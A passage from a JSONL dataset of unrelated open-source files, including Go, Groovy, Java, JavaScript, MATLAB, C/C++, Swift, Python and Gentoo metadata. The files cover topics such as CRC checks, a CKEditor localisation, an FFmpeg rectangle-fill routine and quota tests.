%#x\", expected, crc)}\n\t}\n\n\treturn nil\n}\nfunc (c *crc32Field) crc(curOffset int, buf []byte) (uint32, error) {\n\tvar tab *crc32.Table\n\tswitch c.polynomial {\n\tcase crcIEEE:\n\t\ttab = crc32.IEEETable\n\tcase crcCastagnoli:\n\t\ttab = castagnoliTable\n\tdefault:\n\t\treturn 0, PacketDecodingError{\"invalid CRC type\"}\n\t}\n\treturn crc32.Checksum(buf[c.startOffset+4:curOffset], tab), nil\n}\n"} +{"text": "// This file will only be included to the build if neither\n// easyjson_nounsafe nor appengine build tag is set. See README notes\n// for more details.\n\n//+build !easyjson_nounsafe\n//+build !appengine\n\npackage jlexer\n\nimport (\n\t\"reflect\"\n\t\"unsafe\"\n)\n\n// bytesToStr creates a string pointing at the slice to avoid copying.\n//\n// Warning: the string returned by the function should be used with care, as the whole input data\n// chunk may be either blocked from being freed by GC because of a single string or the buffer.Data\n// may be garbage-collected even when the string exists.\nfunc bytesToStr(data []byte) string {\n\th := (*reflect.SliceHeader)(unsafe.Pointer(&data))\n\tshdr := reflect.StringHeader{Data: h.Data, Len: h.Len}\n\treturn *(*string)(unsafe.Pointer(&shdr))\n}\n"} +{"text": "/*\n * Copyright 2020 ThoughtWorks, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.thoughtworks.go.apiv4.configrepos.representers\n\nimport com.thoughtworks.go.apiv4.configrepos.ConfigRepoWithResult\nimport com.thoughtworks.go.config.PartialConfigParseResult\nimport com.thoughtworks.go.config.materials.mercurial.HgMaterialConfig\nimport com.thoughtworks.go.config.remote.ConfigRepoConfig\nimport com.thoughtworks.go.config.rules.Allow\nimport com.thoughtworks.go.domain.config.Configuration\nimport com.thoughtworks.go.domain.materials.Modification\nimport com.thoughtworks.go.helper.ModificationsMother\nimport com.thoughtworks.go.spark.Routes\nimport org.junit.jupiter.api.Test\n\nimport static com.thoughtworks.go.api.base.JsonOutputWriter.jsonDate\nimport static com.thoughtworks.go.api.base.JsonUtils.toObjectString\nimport static com.thoughtworks.go.helper.MaterialConfigsMother.hg\nimport static net.javacrumbs.jsonunit.fluent.JsonFluentAssert.assertThatJson\n\nclass ConfigRepoWithResultRepresenterTest {\n private static final String TEST_PLUGIN_ID = \"test.configrepo.plugin\"\n private static final String TEST_REPO_URL = \"https://fakeurl.com\"\n\n @Test\n void toJSON() {\n String id = \"foo\"\n ConfigRepoWithResult result = repo(id)\n\n String json = toObjectString({ w ->\n ConfigRepoWithResultRepresenter.toJSON(w, result)\n })\n\n String self = \"http://test.host/go${Routes.ConfigRepos.id(id)}\"\n String find = \"http://test.host/go${Routes.ConfigRepos.find()}\"\n\n assertThatJson(json).isEqualTo([\n _links : [\n self: [href: self],\n doc : [href: Routes.ConfigRepos.DOC],\n find: [href: find],\n ],\n\n id : id,\n plugin_id : TEST_PLUGIN_ID,\n material : [\n type : \"hg\",\n attributes: [\n name : null,\n url : TEST_REPO_URL,\n auto_update: true\n ]\n ],\n configuration : [\n [key: \"foo\", value: \"bar\"],\n [key: \"baz\", value: \"quu\"]\n ],\n \"rules\" : [\n [\n \"directive\": \"allow\",\n \"action\" : \"refer\",\n \"type\" : \"*\",\n \"resource\" : \"*\"\n ]\n ],\n material_update_in_progress: false,\n parse_info : [\n error : \"Boom!\",\n good_modification : null,\n latest_parsed_modification: [\n \"username\" : \"lgao\",\n \"email_address\": \"foo@bar.com\",\n \"revision\" : \"foo-123\",\n \"comment\" : \"Fixing the not checked in files\",\n \"modified_time\": jsonDate(result.result().latestParsedModification.modifiedTime)\n ]\n ]\n ])\n }\n\n static ConfigRepoWithResult repo(String id) {\n Modification modification = ModificationsMother.oneModifiedFile(\"${id}-123\")\n Exception exception = new Exception(\"Boom!\")\n\n PartialConfigParseResult expectedParseResult = PartialConfigParseResult.parseFailed(modification, exception)\n\n Configuration c = new Configuration()\n c.addNewConfigurationWithValue(\"foo\", \"bar\", false)\n c.addNewConfigurationWithValue(\"baz\", \"quu\", false)\n\n HgMaterialConfig materialConfig = hg(TEST_REPO_URL, \"\")\n ConfigRepoConfig repo = ConfigRepoConfig.createConfigRepoConfig(materialConfig, TEST_PLUGIN_ID, id)\n repo.setConfiguration(c)\n repo.getRules().add(new Allow(\"refer\", \"*\", \"*\"))\n\n return new ConfigRepoWithResult(repo, expectedParseResult, false)\n }\n}\n"} +{"text": "#ifdef __OBJC__\n#import \n#else\n#ifndef FOUNDATION_EXPORT\n#if defined(__cplusplus)\n#define FOUNDATION_EXPORT extern \"C\"\n#else\n#define FOUNDATION_EXPORT extern\n#endif\n#endif\n#endif\n\n"} +{"text": "/*\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.apache.mahout.cf.taste.hadoop.item;\n\nimport java.io.IOException;\n\nimport org.apache.hadoop.io.IntWritable;\nimport org.apache.hadoop.mapreduce.Mapper;\nimport org.apache.mahout.math.VarIntWritable;\nimport org.apache.mahout.math.Vector;\nimport org.apache.mahout.math.VectorWritable;\n\n/**\n * maps a row of the similarity matrix to a {@link VectorOrPrefWritable}\n * \n * actually a column from that matrix has to be used but as the similarity matrix is symmetric, \n * we can use a row instead of having to transpose it\n */\npublic final class SimilarityMatrixRowWrapperMapper extends\n Mapper {\n\n private final VarIntWritable index = new VarIntWritable();\n private final VectorOrPrefWritable vectorOrPref = new VectorOrPrefWritable();\n\n @Override\n protected void map(IntWritable key,\n VectorWritable value,\n Context context) throws IOException, InterruptedException {\n Vector similarityMatrixRow = value.get();\n /* remove self similarity */\n similarityMatrixRow.set(key.get(), Double.NaN);\n\n index.set(key.get());\n vectorOrPref.set(similarityMatrixRow);\n\n context.write(index, vectorOrPref);\n }\n\n}\n"} +{"text": "/*\n Copyright (c) 2003-2016, CKSource - Frederico Knabben. All rights reserved.\n For licensing, see LICENSE.md or http://ckeditor.com/license\n */\nCKEDITOR.plugins.setLang(\"specialchar\", \"no\", {\n euro: \"Eurosymbol\",\n lsquo: \"Venstre enkelt anførselstegn\",\n rsquo: \"Høyre enkelt anførselstegn\",\n ldquo: \"Venstre dobbelt anførselstegn\",\n rdquo: \"Høyre anførsesltegn\",\n ndash: \"Kort tankestrek\",\n mdash: \"Lang tankestrek\",\n iexcl: \"Omvendt utropstegn\",\n cent: \"Centsymbol\",\n pound: \"Pundsymbol\",\n curren: \"Valutategn\",\n yen: \"Yensymbol\",\n brvbar: \"Brutt loddrett strek\",\n sect: \"Paragraftegn\",\n uml: \"Tøddel\",\n copy: \"Copyrighttegn\",\n ordf: \"Feminin ordensindikator\",\n laquo: \"Venstre anførselstegn\",\n not: \"Negasjonstegn\",\n reg: \"Registrert varemerke-tegn\",\n macr: \"Makron\",\n deg: \"Gradsymbol\",\n sup2: \"Hevet totall\",\n sup3: \"Hevet tretall\",\n acute: \"Akutt aksent\",\n micro: \"Mikrosymbol\",\n para: \"Avsnittstegn\",\n middot: \"Midtstilt prikk\",\n cedil: \"Cedille\",\n sup1: \"Hevet ettall\",\n ordm: \"Maskulin ordensindikator\",\n raquo: \"Høyre anførselstegn\",\n frac14: \"Fjerdedelsbrøk\",\n frac12: \"Halvbrøk\",\n frac34: \"Tre fjerdedelers brøk\",\n iquest: \"Omvendt spørsmålstegn\",\n Agrave: \"Stor A med grav aksent\",\n Aacute: \"Stor A med akutt aksent\",\n Acirc: \"Stor A med cirkumfleks\",\n Atilde: \"Stor A med tilde\",\n Auml: \"Stor A med tøddel\",\n Aring: \"Stor Å\",\n AElig: \"Stor Æ\",\n Ccedil: \"Stor C med cedille\",\n Egrave: \"Stor E med grav aksent\",\n Eacute: \"Stor E med akutt aksent\",\n Ecirc: \"Stor E med cirkumfleks\",\n Euml: \"Stor E med tøddel\",\n Igrave: \"Stor I med grav aksent\",\n Iacute: \"Stor I med akutt aksent\",\n Icirc: \"Stor I med cirkumfleks\",\n Iuml: \"Stor I med tøddel\",\n ETH: \"Stor Edd/stungen D\",\n Ntilde: \"Stor N med tilde\",\n Ograve: \"Stor O med grav aksent\",\n Oacute: \"Stor O med akutt aksent\",\n Ocirc: \"Stor O med cirkumfleks\",\n Otilde: \"Stor O med tilde\",\n Ouml: \"Stor O med tøddel\",\n times: \"Multiplikasjonstegn\",\n Oslash: \"Stor Ø\",\n Ugrave: \"Stor U med grav aksent\",\n Uacute: \"Stor U med akutt aksent\",\n Ucirc: \"Stor U med cirkumfleks\",\n Uuml: \"Stor U med tøddel\",\n Yacute: \"Stor Y med akutt aksent\",\n THORN: \"Stor Thorn\",\n szlig: \"Liten dobbelt-s/Eszett\",\n agrave: \"Liten a med grav aksent\",\n aacute: \"Liten a med akutt aksent\",\n acirc: \"Liten a med cirkumfleks\",\n atilde: \"Liten a med tilde\",\n auml: \"Liten a med tøddel\",\n aring: \"Liten å\",\n aelig: \"Liten æ\",\n ccedil: \"Liten c med cedille\",\n egrave: \"Liten e med grav aksent\",\n eacute: \"Liten e med akutt aksent\",\n ecirc: \"Liten e med cirkumfleks\",\n euml: \"Liten e med tøddel\",\n igrave: \"Liten i med grav aksent\",\n iacute: \"Liten i med akutt aksent\",\n icirc: \"Liten i med cirkumfleks\",\n iuml: \"Liten i med tøddel\",\n eth: \"Liten edd/stungen d\",\n ntilde: \"Liten n med tilde\",\n ograve: \"Liten o med grav aksent\",\n oacute: \"Liten o med akutt aksent\",\n ocirc: \"Liten o med cirkumfleks\",\n otilde: \"Liten o med tilde\",\n ouml: \"Liten o med tøddel\",\n divide: \"Divisjonstegn\",\n oslash: \"Liten ø\",\n ugrave: \"Liten u med grav aksent\",\n uacute: \"Liten u med akutt aksent\",\n ucirc: \"Liten u med cirkumfleks\",\n uuml: \"Liten u med tøddel\",\n yacute: \"Liten y med akutt aksent\",\n thorn: \"Liten thorn\",\n yuml: \"Liten y med tøddel\",\n OElig: \"Stor ligatur av O og E\",\n oelig: \"Liten ligatur av o og e\",\n 372: \"Stor W med cirkumfleks\",\n 374: \"Stor Y med cirkumfleks\",\n 373: \"Liten w med cirkumfleks\",\n 375: \"Liten y med cirkumfleks\",\n sbquo: \"Enkelt lavt 9-anførselstegn\",\n 8219: \"Enkelt høyt reversert 9-anførselstegn\",\n bdquo: \"Dobbelt lavt 9-anførselstegn\",\n hellip: \"Ellipse\",\n trade: \"Varemerkesymbol\",\n 9658: \"Svart høyrevendt peker\",\n bull: \"Tykk interpunkt\",\n rarr: \"Høyrevendt pil\",\n rArr: \"Dobbel høyrevendt pil\",\n hArr: \"Dobbel venstrevendt pil\",\n diams: \"Svart ruter\",\n asymp: \"Omtrent likhetstegn\"\n});"} +{"text": "#ifndef MIXED_DELEGATE_UNIQUE_TAGS\n#define MIXED_DELEGATE_UNIQUE_TAGS\n\nenum enum_mixed_delegate_unique_tags\n{\n mdut_no_unique_tag = 0x00, // in this case you can have c2084 compile error\n mdut_login_operation_cb_tag,\n account_operation_cb_tag,\n suggest_nicks_cb_tag,\n account_profiles_cb_tag,\n found_emails_cb_tag,\n store_operation_cb_tag\n}; // enum enum_mixed_delegate_unique_tags\n\n#endif //#ifndef MIXED_DELEGATE_UNIQUE_TAGS\n"} +{"text": "function varargout = gui_est_mvarConnectivity(varargin)\n%\n% GUI_EST_MVARCONNECTIVITY M-file for gui_est_mvarConnectivity.fig\n% GUI_EST_MVARCONNECTIVITY, by itself, creates a new GUI_EST_MVARCONNECTIVITY or raises the existing\n% singleton*.\n%\n% H = GUI_EST_MVARCONNECTIVITY returns the handle to a new GUI_EST_MVARCONNECTIVITY or the handle to\n% the existing singleton*.\n%\n% GUI_EST_MVARCONNECTIVITY('CALLBACK',hObject,eventData,handles,...) calls the local\n% function named CALLBACK in GUI_EST_MVARCONNECTIVITY.M with the given input arguments.\n%\n% GUI_EST_MVARCONNECTIVITY('Property','Value',...) creates a new GUI_EST_MVARCONNECTIVITY or raises the\n% existing singleton*. Starting from the left, property value pairs are\n% applied to the GUI before gui_est_mvarConnectivity_OpeningFcn gets called. An\n% unrecognized property name or invalid value makes property application\n% stop. All inputs are passed to gui_est_mvarConnectivity_OpeningFcn via varargin.\n%\n% *See GUI Options on GUIDE's Tools menu. Choose \"GUI allows only one\n% instance to run (singleton)\".\n%\n% See also: GUIDE, GUIDATA, GUIHANDLES\n\n% Edit the above text to modify the response to help gui_est_mvarConnectivity\n\n% Last Modified by GUIDE v2.5 10-Jun-2012 20:55:51\n\n% Begin initialization code - DO NOT EDIT\ngui_Singleton = 1;\ngui_State = struct('gui_Name', mfilename, ...\n 'gui_Singleton', gui_Singleton, ...\n 'gui_OpeningFcn', @gui_est_mvarConnectivity_OpeningFcn, ...\n 'gui_OutputFcn', @gui_est_mvarConnectivity_OutputFcn, ...\n 'gui_LayoutFcn', [] , ...\n 'gui_Callback', []);\nif nargin && ischar(varargin{1})\n gui_State.gui_Callback = str2func(varargin{1});\nend\n\nif nargout\n [varargout{1:nargout}] = gui_mainfcn(gui_State, varargin{:});\nelse\n gui_mainfcn(gui_State, varargin{:});\nend\n% End initialization code - DO NOT EDIT\n\n\n% --- Executes just before gui_est_mvarConnectivity is made visible.\nfunction gui_est_mvarConnectivity_OpeningFcn(hObject, eventdata, handles, varargin)\n% This function has no output args, see OutputFcn.\n% hObject handle to figure\n% eventdata reserved - to be defined in a future version of MATLAB\n% handles structure with handles and user data (see GUIDATA)\n% varargin command line arguments to gui_est_mvarConnectivity (see VARARGIN)\n\nset(hObject,'name','Calculate Connectivity Measures');\n\nhandles.output = hObject;\n\n% set default termination behavior\nhandles.ExitButtonClicked = 'Cancel';\n\n% extract some data from command-line input\nif isempty(varargin)\n error('You must pass ALLEEG to gui_est_mvarConnectivity');\nend\n\n% Extract input parameters/data and store\nhandles.ud.ALLEEG = varargin{1};\nvarargin(1) = [];\n\n% set default EEGLAB background and text colors\n%-----------------------------------------------\ntry, icadefs;\ncatch,\n GUIBACKCOLOR = [.8 .8 .8];\n GUIPOPBUTTONCOLOR = [.8 .8 .8];\n GUITEXTCOLOR = [0 0 0];\nend;\n\nallhandlers = hObject;\n\nhh = findobj(allhandlers,'style', 'text');\n%set(hh, 'BackgroundColor', get(hObject, 'color'), 'horizontalalignment', 'left');\nset(hh, 'Backgroundcolor', GUIBACKCOLOR);\nset(hh, 'foregroundcolor', GUITEXTCOLOR);\nset(hObject, 'color',GUIBACKCOLOR );\n% set(hh, 'horizontalalignment', g.horizontalalignment);\n\nhh = findobj(allhandlers, 'style', 'edit');\nset(hh, 'BackgroundColor', [1 1 1]); %, 'horizontalalignment', 'right');\n\nhh =findobj(allhandlers, 'parent', hObject, 'style', 'pushbutton');\nif ~strcmpi(computer, 'MAC') && ~strcmpi(computer, 'MACI') % this puts the wrong background on macs\n set(hh, 'backgroundcolor', GUIPOPBUTTONCOLOR);\n set(hh, 'foregroundcolor', GUITEXTCOLOR);\nend;\nhh =findobj(allhandlers, 'parent', hObject, 'style', 'popupmenu');\nset(hh, 'backgroundcolor', GUIPOPBUTTONCOLOR);\nset(hh, 'foregroundcolor', GUITEXTCOLOR);\nhh =findobj(allhandlers, 'parent', hObject, 'style', 'checkbox');\nset(hh, 'backgroundcolor', GUIBACKCOLOR);\nset(hh, 'foregroundcolor', GUITEXTCOLOR);\nhh =findobj(allhandlers, 'parent', hObject, 'style', 'listbox');\nset(hh, 'backgroundcolor', GUIPOPBUTTONCOLOR);\nset(hh, 'foregroundcolor', GUITEXTCOLOR);\nhh =findobj(allhandlers, 'parent', hObject, 'style', 'radio');\nset(hh, 'foregroundcolor', GUITEXTCOLOR);\nset(hh, 'backgroundcolor', GUIPOPBUTTONCOLOR);\nset(hObject, 'visible', 'on');\n\nset(handles.pnlPropertyGrid,'backgroundcolor', GUIBACKCOLOR);\nset(handles.pnlPropertyGrid,'foregroundcolor', GUITEXTCOLOR);\n%-----------------------------------------------\n\ndrawnow\n\n% render the PropertyGrid in the correct panel\nhandles.PropertyGridHandle = arg_guipanel( ...\n handles.pnlPropertyGrid, ...\n 'Function',@est_mvarConnectivity, ...\n 'Parameters',[{'EEG',handles.ud.ALLEEG(1), 'MODEL',handles.ud.ALLEEG(1).CAT.MODEL}, varargin]);\n\n% Update handles structure\nguidata(hObject, handles);\n\n% Wait for user to click OK, Cancel or close figure\nuiwait(handles.gui_est_mvarConnectivity);\n\n\n% --- Outputs from this function are returned to the command line.\nfunction varargout = gui_est_mvarConnectivity_OutputFcn(hObject, eventdata, handles)\n% varargout cell array for returning output args (see VARARGOUT);\n% hObject handle to figure\n% eventdata reserved - to be defined in a future version of MATLAB\n% handles structure with handles and user data (see GUIDATA)\n\nif isempty(handles)\n % user closed the figure\n varargout = {[] hObject};\nelseif strcmpi(handles.ExitButtonClicked,'OK')\n % user clicked OK\n % get PropertySpecification\n varargout = {handles.PropertyGridHandle handles.output};\nelse\n % user clicked cancel\n varargout = {[] handles.output};\nend\n\ntry, close(hObject);\ncatch; end\n\n\nfunction cmdCancel_Callback(hObject, eventdata, handles)\n\nhandles.ExitButtonClicked = 'Cancel';\nguidata(hObject,handles);\nuiresume(handles.gui_est_mvarConnectivity);\n\n\nfunction cmdOK_Callback(hObject, eventdata, handles)\n\nhandles.ExitButtonClicked ='OK';\nguidata(hObject,handles);\n\n% check parameter validity and return\nuiresume(handles.gui_est_mvarConnectivity);\n\nfunction cmdHelp_Callback(hObject, eventdata, handles)\n% generate help text\ndoc('est_mvarConnectivity');\n\n% --- Executes when gui_est_mvarConnectivity is resized.\nfunction gui_est_mvarConnectivity_ResizeFcn(hObject, eventdata, handles)\n% hObject handle to gui_est_mvarConnectivity (see GCBO)\n% eventdata reserved - to be defined in a future version of MATLAB\n% handles structure with handles and user data (see GUIDATA)\n"} +{"text": "/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/**\n * An example Giraph program to be debugged using Graft's exception capturing\n * functionality.\n */\npackage org.apache.giraph.debugger.examples.exceptiondebug;\n"} +{"text": "\n// DO NOT EDIT THIS FILE - it is machine generated -*- c++ -*-\n\n#ifndef __javax_swing_plaf_basic_BasicTextPaneUI__\n#define __javax_swing_plaf_basic_BasicTextPaneUI__\n\n#pragma interface\n\n#include \nextern \"Java\"\n{\n namespace javax\n {\n namespace swing\n {\n class JComponent;\n namespace plaf\n {\n class ComponentUI;\n namespace basic\n {\n class BasicTextPaneUI;\n }\n }\n }\n }\n}\n\nclass javax::swing::plaf::basic::BasicTextPaneUI : public ::javax::swing::plaf::basic::BasicEditorPaneUI\n{\n\npublic:\n BasicTextPaneUI();\n static ::javax::swing::plaf::ComponentUI * createUI(::javax::swing::JComponent *);\npublic: // actually protected\n virtual ::java::lang::String * getPropertyPrefix();\npublic:\n virtual void installUI(::javax::swing::JComponent *);\n static ::java::lang::Class class$;\n};\n\n#endif // __javax_swing_plaf_basic_BasicTextPaneUI__\n"} +{"text": "//\n// NSObject+Swizzle.swift\n// Pods\n//\n// Created by sergdort on 5/11/16.\n//\n//\n\nimport Foundation\nimport ObjectiveC\n\nextension NSObject {\n class func swizzleMethodForSelector(originalSelector: Selector,\n withMethodForSelector swizzledSelector: Selector) {\n let originalMethod = class_getInstanceMethod(self, originalSelector)\n let swizzledMethod = class_getInstanceMethod(self, swizzledSelector)\n \n let didAddMethod = class_addMethod(self, originalSelector, method_getImplementation(swizzledMethod), method_getTypeEncoding(swizzledMethod))\n \n if didAddMethod {\n class_replaceMethod(self, swizzledSelector, method_getImplementation(originalMethod), method_getTypeEncoding(originalMethod))\n } else {\n method_exchangeImplementations(originalMethod, swizzledMethod)\n }\n }\n}"} +{"text": "# Neil Gershenfeld 7/12/15\n\nimport fab\nfrom fab.types import Shape\n\ntitle('Slice (XY)')\n\ndef slice_xy(shape,z):\n return Shape(('mXYf%g' % z) + shape.math,\n shape.bounds.xmin,shape.bounds.ymin,\n shape.bounds.xmax,shape.bounds.ymax)\n\ninput('shape',fab.types.Shape)\ninput('z',float,0)\n\noutput('slice',slice_xy(shape,z))\n\n"} +{"text": "\n\n\n\t\n\n"} +{"text": "DEFINED_PHASES=configure install prepare test\nDEPEND=x11-libs/libICE x11-libs/libSM x11-libs/libX11 bidi? ( dev-libs/fribidi ) brltty? ( app-accessibility/brltty ) cairo? ( x11-libs/cairo[X(+)] ) canna? ( app-i18n/canna ) fbcon? ( media-fonts/unifont ) fcitx? ( app-i18n/fcitx ) freewnn? ( app-i18n/freewnn ) gtk? ( gtk2? ( x11-libs/gtk+:2 ) !gtk2? ( x11-libs/gtk+:3 ) ) harfbuzz? ( media-libs/harfbuzz[truetype(+)] ) ibus? ( app-i18n/ibus ) libssh2? ( net-libs/libssh2 ) m17n-lib? ( dev-libs/m17n-lib ) nls? ( virtual/libintl ) regis? ( || ( media-libs/sdl-ttf media-libs/sdl2-ttf ) ) scim? ( app-i18n/scim ) skk? ( || ( virtual/skkserv app-i18n/skk-jisyo ) ) uim? ( app-i18n/uim ) utempter? ( sys-libs/libutempter ) wayland? ( dev-libs/wayland ) xft? ( x11-libs/libXft ) virtual/pkgconfig nls? ( sys-devel/gettext )\nDESCRIPTION=A multi-lingual terminal emulator\nEAPI=7\nHOMEPAGE=http://mlterm.sourceforge.net/\nIUSE=bidi brltty cairo canna debug fbcon fcitx freewnn gtk gtk2 harfbuzz ibus libssh2 m17n-lib nls regis scim skk static-libs uim utempter wayland xft\nKEYWORDS=~amd64 ~ppc ~ppc64 ~x86\nLICENSE=BSD\nRDEPEND=x11-libs/libICE x11-libs/libSM x11-libs/libX11 bidi? ( dev-libs/fribidi ) brltty? ( app-accessibility/brltty ) cairo? ( x11-libs/cairo[X(+)] ) canna? ( app-i18n/canna ) fbcon? ( media-fonts/unifont ) fcitx? ( app-i18n/fcitx ) freewnn? ( app-i18n/freewnn ) gtk? ( gtk2? ( x11-libs/gtk+:2 ) !gtk2? ( x11-libs/gtk+:3 ) ) harfbuzz? ( media-libs/harfbuzz[truetype(+)] ) ibus? ( app-i18n/ibus ) libssh2? ( net-libs/libssh2 ) m17n-lib? ( dev-libs/m17n-lib ) nls? ( virtual/libintl ) regis? ( || ( media-libs/sdl-ttf media-libs/sdl2-ttf ) ) scim? ( app-i18n/scim ) skk? ( || ( virtual/skkserv app-i18n/skk-jisyo ) ) uim? ( app-i18n/uim ) utempter? ( sys-libs/libutempter ) wayland? ( dev-libs/wayland ) xft? ( x11-libs/libXft )\nREQUIRED_USE=gtk2? ( gtk )\nSLOT=0\nSRC_URI=mirror://sourceforge/mlterm/mlterm-3.9.0.tar.gz\n_eclasses_=desktop\t7fd20552ce4cc97e8acb132a499a7dd8\n_md5_=a9a06340c387864cfabc52a4e42812b1\n"} +{"text": "/*\r\n * rectangle filling function\r\n * Copyright (c) 2003 Michael Niedermayer \r\n *\r\n * This file is part of FFmpeg.\r\n *\r\n * FFmpeg is free software; you can redistribute it and/or\r\n * modify it under the terms of the GNU Lesser General Public\r\n * License as published by the Free Software Foundation; either\r\n * version 2.1 of the License, or (at your option) any later version.\r\n *\r\n * FFmpeg is distributed in the hope that it will be useful,\r\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\r\n * Lesser General Public License for more details.\r\n *\r\n * You should have received a copy of the GNU Lesser General Public\r\n * License along with FFmpeg; if not, write to the Free Software\r\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\r\n */\r\n\r\n/**\r\n * @file rectangle.h\r\n * useful rectangle filling function\r\n * @author Michael Niedermayer \r\n */\r\n\r\n#ifndef AVCODEC_RECTANGLE_H\r\n#define AVCODEC_RECTANGLE_H\r\n\r\n#include \r\n#include \"config.h\"\r\n#include \"libavutil/common.h\"\r\n#include \"dsputil.h\"\r\n\r\n/**\r\n * fill a rectangle.\r\n * @param h height of the rectangle, should be a constant\r\n * @param w width of the rectangle, should be a constant\r\n * @param size the size of val (1 or 4), should be a constant\r\n */\r\nstatic av_always_inline void fill_rectangle(void *vp, int w, int h, int stride, uint32_t val, int size){\r\n uint8_t *p= (uint8_t*)vp;\r\n assert(size==1 || size==4);\r\n assert(w<=4);\r\n\r\n w *= size;\r\n stride *= size;\r\n\r\n assert((((long)vp)&(FFMIN(w, STRIDE_ALIGN)-1)) == 0);\r\n assert((stride&(w-1))==0);\r\n if(w==2){\r\n const uint16_t v= size==4 ? val : val*0x0101;\r\n *(uint16_t*)(p + 0*stride)= v;\r\n if(h==1) return;\r\n *(uint16_t*)(p + 1*stride)= v;\r\n if(h==2) return;\r\n *(uint16_t*)(p + 2*stride)= v;\r\n *(uint16_t*)(p + 3*stride)= v;\r\n }else if(w==4){\r\n const uint32_t v= size==4 ? val : val*0x01010101;\r\n *(uint32_t*)(p + 0*stride)= v;\r\n if(h==1) return;\r\n *(uint32_t*)(p + 1*stride)= v;\r\n if(h==2) return;\r\n *(uint32_t*)(p + 2*stride)= v;\r\n *(uint32_t*)(p + 3*stride)= v;\r\n }else if(w==8){\r\n //gcc can't optimize 64bit math on x86_32\r\n#if HAVE_FAST_64BIT\r\n const uint64_t v= val*0x0100000001ULL;\r\n *(uint64_t*)(p + 0*stride)= v;\r\n if(h==1) return;\r\n *(uint64_t*)(p + 1*stride)= v;\r\n if(h==2) return;\r\n *(uint64_t*)(p + 2*stride)= v;\r\n *(uint64_t*)(p + 3*stride)= v;\r\n }else if(w==16){\r\n const uint64_t v= val*0x0100000001ULL;\r\n *(uint64_t*)(p + 0+0*stride)= v;\r\n *(uint64_t*)(p + 8+0*stride)= v;\r\n *(uint64_t*)(p + 0+1*stride)= v;\r\n *(uint64_t*)(p + 8+1*stride)= v;\r\n if(h==2) return;\r\n *(uint64_t*)(p + 0+2*stride)= v;\r\n *(uint64_t*)(p + 8+2*stride)= v;\r\n *(uint64_t*)(p + 0+3*stride)= v;\r\n *(uint64_t*)(p + 8+3*stride)= v;\r\n#else\r\n *(uint32_t*)(p + 0+0*stride)= val;\r\n *(uint32_t*)(p + 4+0*stride)= val;\r\n if(h==1) return;\r\n *(uint32_t*)(p + 0+1*stride)= val;\r\n *(uint32_t*)(p + 4+1*stride)= val;\r\n if(h==2) return;\r\n *(uint32_t*)(p + 0+2*stride)= val;\r\n *(uint32_t*)(p + 4+2*stride)= val;\r\n *(uint32_t*)(p + 0+3*stride)= val;\r\n *(uint32_t*)(p + 4+3*stride)= val;\r\n }else if(w==16){\r\n *(uint32_t*)(p + 0+0*stride)= val;\r\n *(uint32_t*)(p + 4+0*stride)= val;\r\n *(uint32_t*)(p + 8+0*stride)= val;\r\n *(uint32_t*)(p +12+0*stride)= val;\r\n *(uint32_t*)(p + 0+1*stride)= val;\r\n *(uint32_t*)(p + 4+1*stride)= val;\r\n *(uint32_t*)(p + 8+1*stride)= val;\r\n *(uint32_t*)(p +12+1*stride)= val;\r\n if(h==2) return;\r\n *(uint32_t*)(p + 0+2*stride)= val;\r\n *(uint32_t*)(p + 4+2*stride)= val;\r\n *(uint32_t*)(p + 8+2*stride)= val;\r\n *(uint32_t*)(p +12+2*stride)= val;\r\n *(uint32_t*)(p + 0+3*stride)= val;\r\n *(uint32_t*)(p + 4+3*stride)= val;\r\n *(uint32_t*)(p + 8+3*stride)= val;\r\n *(uint32_t*)(p +12+3*stride)= val;\r\n#endif\r\n }else\r\n assert(0);\r\n assert(h==4);\r\n}\r\n\r\n#endif /* AVCODEC_RECTANGLE_H */\r\n"} +{"text": "/****************************************************************\n * Licensed to the Apache Software Foundation (ASF) under one *\n * or more contributor license agreements. See the NOTICE file *\n * distributed with this work for additional information *\n * regarding copyright ownership. The ASF licenses this file *\n * to you under the Apache License, Version 2.0 (the *\n * \"License\"); you may not use this file except in compliance *\n * with the License. You may obtain a copy of the License at *\n * *\n * http://www.apache.org/licenses/LICENSE-2.0 *\n * *\n * Unless required by applicable law or agreed to in writing, *\n * software distributed under the License is distributed on an *\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY *\n * KIND, either express or implied. See the License for the *\n * specific language governing permissions and limitations *\n * under the License. *\n ****************************************************************/\npackage org.apache.james.core.quota;\n\npublic class QuotaSizeUsageTest implements QuotaUsageValueTest {\n @Override\n public QuotaSizeUsage usageInstance(long value) {\n return QuotaSizeUsage.size(value);\n }\n\n @Override\n public QuotaSizeLimit limitInstance(long value) {\n return QuotaSizeLimit.size(value);\n }\n\n @Override\n public QuotaSizeLimit unlimited() {\n return QuotaSizeLimit.unlimited();\n }\n}\n"} +{"text": "import React from 